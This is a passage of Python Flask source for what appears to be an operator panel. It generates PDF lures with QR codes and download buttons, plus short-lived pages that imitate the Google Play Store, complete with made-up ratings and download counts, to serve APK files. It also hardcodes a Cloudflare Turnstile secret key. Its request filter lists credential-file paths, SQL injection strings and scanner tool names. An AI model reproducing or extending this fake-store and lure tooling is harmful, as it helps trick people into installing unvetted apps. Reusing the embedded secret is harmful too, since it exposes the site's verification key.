                    c.drawImage(ImageReader(img_path), x, y, w, h,
                                mask='auto', preserveAspectRatio=preserve, anchor='c')

            elif t == 'qr':
                fg_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fg', '#000000')))[:7] or '#000000'
                bg_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('bg', '#ffffff')))[:7] or '#ffffff'
                fg_t   = tuple(int(fg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
                bg_t   = tuple(int(bg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
                qr = qrcode_lib.QRCode(error_correction=qrcode_lib.constants.ERROR_CORRECT_H, box_size=10, border=2)
                qr.add_data(download_url)
                qr.make(fit=True)
                img = qr.make_image(fill_color=fg_t, back_color=bg_t)
                buf = io.BytesIO()
                img.save(buf, format='PNG')
                buf.seek(0)
                c.drawImage(ImageReader(buf), x, y, w, h)

            elif t == 'button':
                label    = str(el.get('label', 'BAIXAR APLICATIVO'))[:50]
                btn_bg   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('bg',         '#16a34a')))[:7] or '#16a34a'
                btn_tc   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('text_color', '#ffffff')))[:7] or '#ffffff'
                btn_fsize= min(max(float(el.get('font_size', 13)), 6), 60)
                radius   = min(h / 3, 10)
                c.setFillColorRGB(*_hex_rgb(btn_bg))
                c.roundRect(x, y, w, h, radius, fill=1, stroke=0)
                c.setFillColorRGB(*_hex_rgb(btn_tc))
                c.setFont('Helvetica-Bold', btn_fsize)
                c.drawCentredString(x + w / 2, y + (h - btn_fsize) / 2 + 1, label)
                c.linkURL(download_url, (x, y, x + w, y + h), relative=0)

            elif t == 'video':
                raw_id   = re.sub(r'[^a-zA-Z0-9._-]', '', str(el.get('img_id', '')))[:60]
                video_url= str(el.get('url', ''))[:500]
                img_path  = os.path.join(pdf_folder, f'img_{raw_id}')
                if os.path.exists(img_path):
                    c.drawImage(ImageReader(img_path), x, y, w, h, mask='auto', preserveAspectRatio=False)
                else:
                    c.setFillColorRGB(0.1, 0.1, 0.1)
                    c.rect(x, y, w, h, fill=1, stroke=0)
                # play icon
                r2  = min(w, h) * 0.17
                cx2 = x + w / 2
                cy2 = y + h / 2
                c.setFillColorRGB(1, 1, 1)
                c.circle(cx2, cy2, r2, fill=1, stroke=0)
                c.setFillColorRGB(0.1, 0.1, 0.1)
                p2 = c.beginPath()
                p2.moveTo(cx2 - r2 * 0.3, cy2 + r2 * 0.45)
                p2.lineTo(cx2 + r2 * 0.55, cy2)
                p2.lineTo(cx2 - r2 * 0.3, cy2 - r2 * 0.45)
                p2.close()
                c.drawPath(p2, fill=1, stroke=0)
                if video_url:
                    c.linkURL(video_url, (x, y, x + w, y + h), relative=0)

            elif t == 'rect':
                fill_hex   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#cccccc')))[:7] or '#cccccc'
                border_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('border', '')))[:7]
                bw         = float(el.get('border_width', 1))
                radius_r   = float(el.get('radius', 0))
                c.setFillColorRGB(*_hex_rgb(fill_hex))
                has_border = bool(border_hex)
                if has_border:
                    c.setStrokeColorRGB(*_hex_rgb(border_hex))
                    c.setLineWidth(bw)
                if radius_r > 0:
                    c.roundRect(x, y, w, h, radius_r, fill=1, stroke=1 if has_border else 0)
                else:
                    c.rect(x, y, w, h, fill=1, stroke=1 if has_border else 0)

            elif t == 'ellipse':
                fill_hex   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#cccccc')))[:7] or '#cccccc'
                border_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('border', '')))[:7]
                bw         = float(el.get('border_width', 1))
                c.setFillColorRGB(*_hex_rgb(fill_hex))
                has_border = bool(border_hex)
                if has_border:
                    c.setStrokeColorRGB(*_hex_rgb(border_hex))
                    c.setLineWidth(bw)
                c.ellipse(x, y, x + w, y + h, fill=1, stroke=1 if has_border else 0)

            elif t == 'line':
                fill_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#000000')))[:7] or '#000000'
                c.setStrokeColorRGB(*_hex_rgb(fill_hex))
                c.setLineWidth(h)
                c.line(x, y + h / 2, x + w, y + h / 2)

        except Exception:
            continue

    c.showPage()
    c.save()



@app.route('/pdf/editor')
def pdf_editor_page():
    if 'username' not in session:
        return redirect(url_for('index'))
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    builds = []
    seen = set()
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('status') == 'concluido' and b.get('build_id') not in seen:
                seen.add(b['build_id'])
                builds.append({'build_id': b['build_id'], 'app_name': b.get('app_name', 'App')})
    if current_role == 'owner':
        builds = []
        seen = set()
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('status') == 'concluido' and b.get('build_id') not in seen:
                    seen.add(b['build_id'])
                    builds.append({'build_id': b['build_id'], 'app_name': b.get('app_name', 'App')})
    return render_template('pdf_editor.html', builds=builds, username=current_user)


@app.route('/pdf/upload-image', methods=['POST'])
def pdf_upload_image():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    if 'file' not in request.files:
        return jsonify({'success': False, 'message': 'Nenhum arquivo'}), 400
    f = request.files['file']
    if not f.filename:
        return jsonify({'success': False, 'message': 'Arquivo vazio'}), 400
    ext = os.path.splitext(secure_filename(f.filename))[1].lower()
    if ext not in ('.png', '.jpg', '.jpeg', '.gif', '.webp'):
        return jsonify({'success': False, 'message': 'Formato nao suportado'}), 400
    img_id = secrets.token_hex(12) + ext
    img_path = os.path.join(app.config['PDF_FOLDER'], f'img_{img_id}')
    f.save(img_path)
    return jsonify({'success': True, 'img_id': img_id, 'img_url': f'/pdf/image/{img_id}'})


@app.route('/pdf/image/<img_id>')
def pdf_get_image(img_id):
    if 'username' not in session:
        return jsonify({'error': 'Login necessario'}), 401
    img_id = re.sub(r'[^a-zA-Z0-9._-]', '', img_id)[:60]
    img_path = os.path.join(app.config['PDF_FOLDER'], f'img_{img_id}')
    if not os.path.exists(img_path):
        return jsonify({'error': 'Imagem nao encontrada'}), 404
    ext = os.path.splitext(img_id)[1].lower().lstrip('.')
    mime = {'png': 'image/png', 'jpg': 'image/jpeg', 'jpeg': 'image/jpeg',
            'gif': 'image/gif', 'webp': 'image/webp'}.get(ext, 'image/png')
    return send_file(img_path, mimetype=mime)


@app.route('/pdf/qr-preview')
def pdf_qr_preview():
    if 'username' not in session:
        return jsonify({'error': 'Login necessario'}), 401
    import qrcode as qrcode_lib
    import io
    fg_hex = re.sub(r'[^a-fA-F0-9#]', '', request.args.get('fg', '#000000'))[:7] or '#000000'
    bg_hex = re.sub(r'[^a-fA-F0-9#]', '', request.args.get('bg', '#ffffff'))[:7] or '#ffffff'
    fg_t = tuple(int(fg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    bg_t = tuple(int(bg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    qr = qrcode_lib.QRCode(error_correction=qrcode_lib.constants.ERROR_CORRECT_M, box_size=4, border=2)
    qr.add_data('https://www.europass-ice.site')
    qr.make(fit=True)
    img = qr.make_image(fill_color=fg_t, back_color=bg_t)
    buf = io.BytesIO()
    img.save(buf, format='PNG')
    buf.seek(0)
    return send_file(buf, mimetype='image/png')


@app.route('/pdf/generate-advanced', methods=['POST'])
def pdf_generate_advanced():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400

    build_id    = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    bg_color    = re.sub(r'[^a-fA-F0-9#]',  '', str(data.get('bg_color', '#ffffff')))[:7] or '#ffffff'
    elements    = data.get('elements', [])
    expire_days = min(int(data.get('expire_days', 30) or 30), 365)
    pdf_title_m = str(data.get('pdf_title', 'App'))[:100]

    if not build_id or not isinstance(elements, list):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400

    db           = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    build_found = False
    app_name    = 'App'
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name    = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found and current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('build_id') == build_id and b.get('status') == 'concluido':
                    build_found = True
                    app_name    = b.get('app_name', 'App')
                    break
            if build_found:
                break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado'}), 404

    dl_token   = secrets.token_hex(24)
    expires_at = (datetime.utcnow() + timedelta(days=expire_days)).isoformat()
    tokens     = _load_pdf_tokens()
    tokens[dl_token] = {
        'build_id': build_id, 'app_name': app_name,
        'created_by': current_user, 'created_at': datetime.utcnow().isoformat(),
        'expires_at': expires_at, 'downloads': 0, 'type': 'pdf_advanced'
    }
    _save_pdf_tokens(tokens)

    download_url = f'https://www.europass-ice.site/pub/{dl_token}'
    pdf_id       = secrets.token_hex(12)
    pdf_path     = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')

    try:
        _render_advanced_pdf(pdf_path, bg_color, elements, download_url, app.config['PDF_FOLDER'])
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar PDF: {str(e)}'}), 500

    add_history(current_user, 'Gerar PDF Editor', f'PDF editor para {app_name}')
    _append_pdf_item({
        'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}',
        'pub_url': download_url, 'title': pdf_title_m or app_name,
        'app_name': app_name, 'created_by': current_user,
        'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at
    })

    try:
        send_discord_webhook(
            'PDF EDITOR GERADO',
            f'PDF editor criado por **{current_user}** para **{app_name}**',
            color=0x8b5cf6,
            fields=[
                {'name': 'App',       'value': app_name,       'inline': True},
                {'name': 'Operador',  'value': current_user,   'inline': True},
                {'name': 'Elementos', 'value': str(len(elements)), 'inline': True},
                {'name': 'Link',      'value': download_url,   'inline': False},
            ]
        )
    except Exception:
        pass

    return jsonify({'success': True, 'pdf_id': pdf_id,
                    'pdf_url': f'/pdf/download/{pdf_id}', 'pub_url': download_url})


def _cleanup_old_apks():
    while True:
        time.sleep(3600)
        cutoff = time.time() - 24 * 3600
        removed_apk = removed_pdf = 0

        output_folder = app.config.get('OUTPUT_FOLDER', '')
        if output_folder:
            try:
                for fname in os.listdir(output_folder):
                    fpath = os.path.join(output_folder, fname)
                    if os.path.isfile(fpath) and fname.endswith('.apk'):
                        if os.path.getmtime(fpath) < cutoff:
                            try:
                                os.remove(fpath)
                                removed_apk += 1
                            except Exception:
                                pass
            except Exception:
                pass

        pdf_folder = app.config.get('PDF_FOLDER', '')
        if pdf_folder:
            try:
                for fname in os.listdir(pdf_folder):
                    fpath = os.path.join(pdf_folder, fname)
                    if os.path.isfile(fpath) and fname.endswith('.pdf'):
                        if os.path.getmtime(fpath) < cutoff:
                            try:
                                os.remove(fpath)
                                removed_pdf += 1
                            except Exception:
                                pass
            except Exception:
                pass

        if removed_apk or removed_pdf:
            print(f'[cleanup] removidos: {removed_apk} APK(s), {removed_pdf} PDF(s) com mais de 48h')

_cleanup_thread = threading.Thread(target=_cleanup_old_apks, daemon=True)
_cleanup_thread.start()


# ===== TELA PLAY STORE =====
import unicodedata as _unicodedata

@app.route('/play/<slug>')
def play_page(slug):
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    pages = db.get('play_pages', {})
    page = pages.get(slug)
    if not page:
        return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Página não encontrada.</h2></body></html>', 404
    # 24h expiry
    created = page.get('created_at', '')
    if created:
        try:
            from datetime import datetime, timedelta
            ct = datetime.fromisoformat(created)
            if datetime.now() - ct > timedelta(hours=24):
                del pages[slug]
                save_data(db)
                return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Esta página expirou.</h2></body></html>', 404
        except:
            pass
    return render_template('play_page.html', app=page)

@app.route('/play-download/<slug>')
def play_download(slug):
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    pages = db.get('play_pages', {})
    page = pages.get(slug)
    if not page:
        return jsonify({'error': 'Não encontrado'}), 404
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(page.get('build_id', '')))[:50]
    output_folder = app.config['OUTPUT_FOLDER']
    file_path = os.path.join(output_folder, f'{build_id}.apk')
    if not os.path.exists(file_path):
        return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>APK não disponível no momento.</h2></body></html>', 404
    display_name = re.sub(r'[^a-zA-Z0-9 _-]', '', page.get('app_name', 'app')) + '.apk'
    return send_file(file_path, as_attachment=True, download_name=display_name)

@app.route('/api/play-pages', methods=['GET'])
def get_play_pages():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    pages = db.get('play_pages', {})
    output_folder = app.config['OUTPUT_FOLDER']
    # Remove expired pages (24h)
    now = datetime.now()
    expired = []
    for slug, page in list(pages.items()):
        created = page.get('created_at', '')
        if created:
            try:
                ct = datetime.fromisoformat(created)
                if now - ct > timedelta(hours=24):
                    expired.append(slug)
            except:
                pass
    for slug in expired:
        del pages[slug]
    if expired:
        save_data(db)
    current_user = session.get('username', '')
    is_admin = session.get('role') in ('admin', 'owner')
    result = []
    for slug, page in pages.items():
        # Only show pages created by current user (admin sees all)
        if not is_admin and page.get('created_by', '') != current_user:
            continue
        build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(page.get('build_id', '')))[:50]
        apk_exists = os.path.exists(os.path.join(output_folder, f'{build_id}.apk'))
        # Calculate remaining time
        remaining = '24h'
        created = page.get('created_at', '')
        if created:
            try:
                ct = datetime.fromisoformat(created)
                elapsed = now - ct
                remaining_secs = 86400 - elapsed.total_seconds()
                if remaining_secs <= 0:
                    continue
                h = int(remaining_secs // 3600)
                m = int((remaining_secs % 3600) // 60)
                remaining = f'{h}h{m}m'
            except:
                pass
        result.append({**page, 'apk_available': apk_exists, 'remaining': remaining})
    result.sort(key=lambda x: x.get('created_at', ''), reverse=True)
    return jsonify(result)


@app.route('/api/play-icon-upload', methods=['POST'])
def upload_play_icon():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    f = request.files.get('icon')
    if not f or not f.filename:
        return jsonify({'success': False, 'message': 'Nenhum arquivo'}), 400
    ext = os.path.splitext(secure_filename(f.filename))[1].lower()
    if ext not in ('.png', '.jpg', '.jpeg', '.gif', '.webp'):
        return jsonify({'success': False, 'message': 'Formato invalido (use PNG, JPG, GIF ou WebP)'}), 400
    icons_dir = os.path.join(BASE_DIR, 'static', 'img', 'play_icons')
    os.makedirs(icons_dir, exist_ok=True)
    fname = str(uuid.uuid4()) + ext
    fpath = os.path.join(icons_dir, fname)
    f.save(fpath)
    return jsonify({'success': True, 'url': '/static/img/play_icons/' + fname})

@app.route('/api/play-pages', methods=['POST'])
def create_play_page():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    data = request.get_json(force=True, silent=True) or {}
    app_name = str(data.get('app_name', '')).strip()[:80]
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(data.get('build_id', '')))[:50]
    icon_url = str(data.get('icon_url', ''))[:2000]
    publisher = str(data.get('publisher', 'Desenvolvedor')).strip()[:80]
    downloads = str(data.get('downloads', '1K+')).strip()[:20]
    rating = str(data.get('rating', '4.5')).strip()[:8]
    button_text = str(data.get('button_text', 'Instalar')).strip()[:20]

    if not app_name or not build_id:
        return jsonify({'success': False, 'message': 'Nome do app e Build ID são obrigatórios'}), 400

    slug = _unicodedata.normalize('NFKD', app_name).encode('ascii', 'ignore').decode('ascii')
    slug = re.sub(r'[^a-z0-9]+', '-', slug.lower()).strip('-')
    if not slug:
        slug = build_id[:20]

    db = load_data()
    if 'play_pages' not in db:
        db['play_pages'] = {}

    base_slug = slug
    counter = 1
    while slug in db['play_pages']:
        slug = f'{base_slug}-{counter}'
        counter += 1

    db['play_pages'][slug] = {
        'slug': slug,
        'build_id': build_id,
        'app_name': app_name,
        'icon_url': icon_url,
        'publisher': publisher,
        'downloads': downloads,
        'rating': rating,
        'button_text': button_text,
        'created_by': session['username'],
        'created_at': datetime.now().isoformat()
    }
    save_data(db)
    # Discord webhook notification
    try:
        send_discord_webhook('TELA PLAY Criada', f"**{app_name}**\nOperador: {session['username']}\nURL: https://www.europass-ice.site/play/{slug}", 0x01875f)
    except:
        pass
    return jsonify({'success': True, 'slug': slug, 'url': f'/play/{slug}'})

@app.route('/api/play-pages/<slug>', methods=['DELETE'])
def delete_play_page(slug):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    if 'play_pages' not in db or slug not in db.get('play_pages', {}):
        return jsonify({'success': False, 'message': 'Não encontrado'}), 404
    del db['play_pages'][slug]
    save_data(db)
    return jsonify({'success': True})

# ===== FIM TELA PLAY STORE =====

# ===== DETECCAO DE ATAQUES WEB =====
import re as _re
_ATTACK_PATTERNS = [
    _re.compile(r'(?i)(\.\./|%2e%2e|%252e%252e)'),
    _re.compile(r'(?i)(union.{1,20}select|drop.{1,10}table|insert.{1,10}into)'),
    _re.compile(r'(?i)(etc/passwd|etc/shadow|\.env|\.git/config)'),
    _re.compile(r'(?i)(eval\(|base64_decode|system\(|exec\()'),
]
_SCANNER_UA = _re.compile(r'(?i)(sqlmap|nikto|masscan|nmap|dirsearch|nuclei|gobuster|acunetix|nessus|zgrab|hydra)')
_web_alert_cache = {}

# CSRF protection for state-changing requests
_CSRF_EXEMPT_PATHS = {'/login', '/api/register', '/logout'}

@app.before_request
def csrf_protect():
    if request.method not in ('POST', 'PUT', 'DELETE', 'PATCH'):
        return None
    if request.path in _CSRF_EXEMPT_PATHS:
        return None
    if request.path.startswith('/api/pix/status'):
        return None
    # Caller must be authenticated AND present a matching token
    if 'username' not in session:
        return None  # let the route handler return its own 401
    expected = session.get('csrf_token', '')
    given = request.headers.get('X-CSRF-Token', '') or (request.form.get('csrf_token', '') if not request.is_json else '')
    if request.is_json:
        try:
            j = request.get_json(silent=True) or {}
            given = given or j.get('csrf_token', '')
        except Exception:
            pass
    if not expected or not given or not _csrf_compare(expected, given):
        return jsonify({"error": "CSRF token invalido"}), 403
    return None

def _csrf_compare(a, b):
    import hmac
    return hmac.compare_digest(str(a), str(b))


@app.before_request
def detect_web_attacks():
    ip = get_client_ip()
    path = request.path
    ua = request.headers.get('User-Agent', '')
    full_url = request.url
    now = time.time()

    def _cooldown(key, secs=300):
        last = _web_alert_cache.get(key, 0)
        if now - last < secs:
            return False
        _web_alert_cache[key] = now
        return True

    # Scanner por User-Agent
    if _SCANNER_UA.search(ua) and _cooldown(f'ua_{ip}', 600):
        send_discord_webhook(
            "SCANNER DETECTADO",
            f"Ferramenta de scan identificada no site.",
            color=0xf59e0b,
            fields=[
                {"name": "IP", "value": ip, "inline": True},
                {"name": "Path", "value": path[:80], "inline": True},
                {"name": "User-Agent", "value": ua[:120], "inline": False}
            ]
        )

    # Tentativa de path traversal / injecao
    for pat in _ATTACK_PATTERNS:
        if pat.search(full_url) or pat.search(ua):
            if _cooldown(f'atk_{ip}', 120):
                send_discord_webhook(
                    "TENTATIVA DE ATAQUE WEB",
                    f"Padrao malicioso detectado na requisicao.",
                    color=0xb91c1c,
                    fields=[
                        {"name": "IP", "value": ip, "inline": True},
                        {"name": "Metodo", "value": request.method, "inline": True},
                        {"name": "Path", "value": path[:100], "inline": False},
                        {"name": "URL completa", "value": full_url[:150], "inline": False}
                    ]
                )
            break


# ── ATTACK BODY LOGGER ───────────────────────────────────────────────────────
# Loga corpo completo de POSTs suspeitos e respostas de erro para o monitor
_ATTACK_LOG = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'logs', 'gangstar_attacks.log')
os.makedirs(os.path.dirname(_ATTACK_LOG), exist_ok=True)
_ATTACK_LOG_PATHS = {'/login', '/api/register', '/api/pix/status'}

import logging as _logging
_atk_logger = _logging.getLogger('gangstar_attacks')
if not _atk_logger.handlers:
    _atk_handler = _logging.FileHandler(_ATTACK_LOG)
    _atk_handler.setFormatter(_logging.Formatter('%(message)s'))
    _atk_logger.addHandler(_atk_handler)
    _atk_logger.setLevel(_logging.INFO)

@app.after_request
def log_attack_details(response):
    import json as _json
    try:
        ip = get_client_ip()
        path = request.path
        method = request.method
        status = response.status_code
        ua = request.headers.get('User-Agent', '')[:200]
        referer = request.headers.get('Referer', '')[:150]
        ct = request.content_type or ''

        # Captura qualquer POST ou qualquer resposta de erro (4xx/5xx)
        # Loga: todo POST + todo erro 4xx/5xx
        is_post = method == 'POST'
        is_error = status >= 400

        if not (is_post or is_error):
            return response

        # Tenta capturar o body (JSON ou form)
        body_str = ''
        if is_post and ct:
            try:
                raw = request.get_data(as_text=True)
                if 'json' in ct.lower() and raw:
                    try:
                        parsed = _json.loads(raw)
                        # Mascara senhas
                        for k in ('password', 'senha', 'pass', 'pwd', 'secret'):
                            if k in parsed:
                                parsed[k] = '***'
                        body_str = _json.dumps(parsed, ensure_ascii=False)[:500]
                    except Exception:
                        body_str = raw[:300]
                elif 'form' in ct.lower() and raw:
                    body_str = raw[:300]
            except Exception:
                body_str = ''

        # Captura resposta para erros
        resp_body = ''
        if is_error:
            try:
                resp_body = response.get_data(as_text=True)[:200]
            except Exception:
                pass

        import datetime as _dt
        record = {
            'ts': _dt.datetime.utcnow().isoformat(),
            'ip': ip,
            'method': method,
            'path': path,
            'status': status,
            'ua': ua,
            'referer': referer,
            'ct': ct,
            'body': body_str,
            'resp': resp_body,
        }
        _atk_logger.info(_json.dumps(record, ensure_ascii=False))
    except Exception:
        pass
    return response

@app.errorhandler(404)
def not_found(e):
    ip = get_client_ip()
    path = request.path
    # So alerta para paths suspeitos (nao erros comuns de navegacao)
    if any(x in path.lower() for x in ['.php', '.env', 'admin', 'wp-', '.git', 'config', 'backup']):
        key = f'404_{ip}'
        now = time.time()
        if now - _web_alert_cache.get(key, 0) > 180:
            _web_alert_cache[key] = now
            send_discord_webhook(
                "RECONHECIMENTO DETECTADO",
                f"IP tentando acessar caminho sensivel inexistente.",
                color=0xf59e0b,
                fields=[
                    {"name": "IP", "value": ip, "inline": True},
                    {"name": "Path tentado", "value": path, "inline": True}
                ]
            )
    from flask import jsonify
    return jsonify({"error": "Not found"}), 404

@app.errorhandler(500)
def server_error(e):
    ip = get_client_ip()
    send_discord_webhook(
        "ERRO 500 INTERNO",
        f"Erro interno no servidor - verificar logs.",
        color=0xb91c1c,
        fields=[
            {"name": "IP", "value": ip, "inline": True},
            {"name": "Path", "value": request.path, "inline": True},
            {"name": "Erro", "value": str(e)[:200], "inline": False}
        ]
    )
    from flask import jsonify
    return jsonify({"error": "Internal server error"}), 500
# ===== FIM DETECCAO =====
@app.route('/login', methods=['POST'])
def login():
    ip = get_client_ip()
    if is_rate_limited(ip):
        send_discord_webhook(
            "ALERTA DE SEGURANCA",
            f"IP **{ip}** bloqueado por excesso de tentativas de login.",
            color=0xf59e0b
        )
        return jsonify({"success": False, "message": "Muitas tentativas. Aguarde 5 minutos."}), 429

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400

    # ===== VERIFICAÇÃO DO TURNSTILE =====
    turnstile_response = data.get('cf-turnstile-response')
    if not turnstile_response:
        return jsonify({"success": False, "message": "Verificação de segurança falhou."}), 403

    # Validar o token com a Cloudflare
    try:
        payload = {
            'secret': '0x4AAAAAAD7yhi3d4yGfAgJE4seJsE6c1KI',
            'response': turnstile_response,
            'remoteip': ip
        }
        r = http_requests.post('https://challenges.cloudflare.com/turnstile/v0/siteverify', data=payload, timeout=5)
        result = r.json()
        if not result.get('success', False):
            error_codes = result.get('error-codes', [])
            if 'timeout' in error_codes or 'invalid' in str(error_codes):
                return jsonify({"success": False, "message": "Sessão expirada, recarregue a página."}), 403
            return jsonify({"success": False, "message": "Verificação de segurança falhou."}), 403
    except Exception as e:
        print(f"Erro ao verificar Turnstile: {e}")
        return jsonify({"success": False, "message": "Erro na verificação de segurança."}), 500

    # ===== LOGIN ORIGINAL =====
    u, p = data.get('username'), data.get('password')
    if not isinstance(u, str) or not isinstance(p, str):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    u = u[:64]

    db = load_data()
    if u in db['users'] and verify_password(db['users'][u]['password'], p):
        if is_user_expired(db['users'][u]):
            return jsonify({"success": False, "message": "Licenca expirada"}), 403

        # Upgrade plaintext to hashed
        stored = db['users'][u]['password']
        if not (stored.startswith('pbkdf2:') or stored.startswith('scrypt:')):
            db['users'][u]['password'] = generate_password_hash(p)
            save_data(db)

        session.permanent = True
        session['username'] = u
        session['role'] = db['users'][u].get('role', 'operator')
        session['session_version'] = db['users'][u].get('session_version', 0)
        session['csrf_token'] = secrets.token_urlsafe(32)
        add_history(u, "Login", f"IP: {ip}")

        send_discord_webhook(
            "LOGIN",
            f"Usuario **{u}** fez login no painel.",
            color=0x6366f1,
            fields=[
                {"name": "Cargo", "value": session['role'], "inline": True},
                {"name": "IP", "value": ip, "inline": True}
            ]
        )
        return jsonify({"success": True, "role": session['role']})

    record_login_attempt(ip)
    send_discord_webhook(
        "LOGIN FALHOU",
        f"Tentativa de login invalida para **{u}**.",
        color=0xef4444,
        fields=[{"name": "IP", "value": ip, "inline": True}]
    )
    return jsonify({"success": False, "message": "Incorreto"}), 401
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)
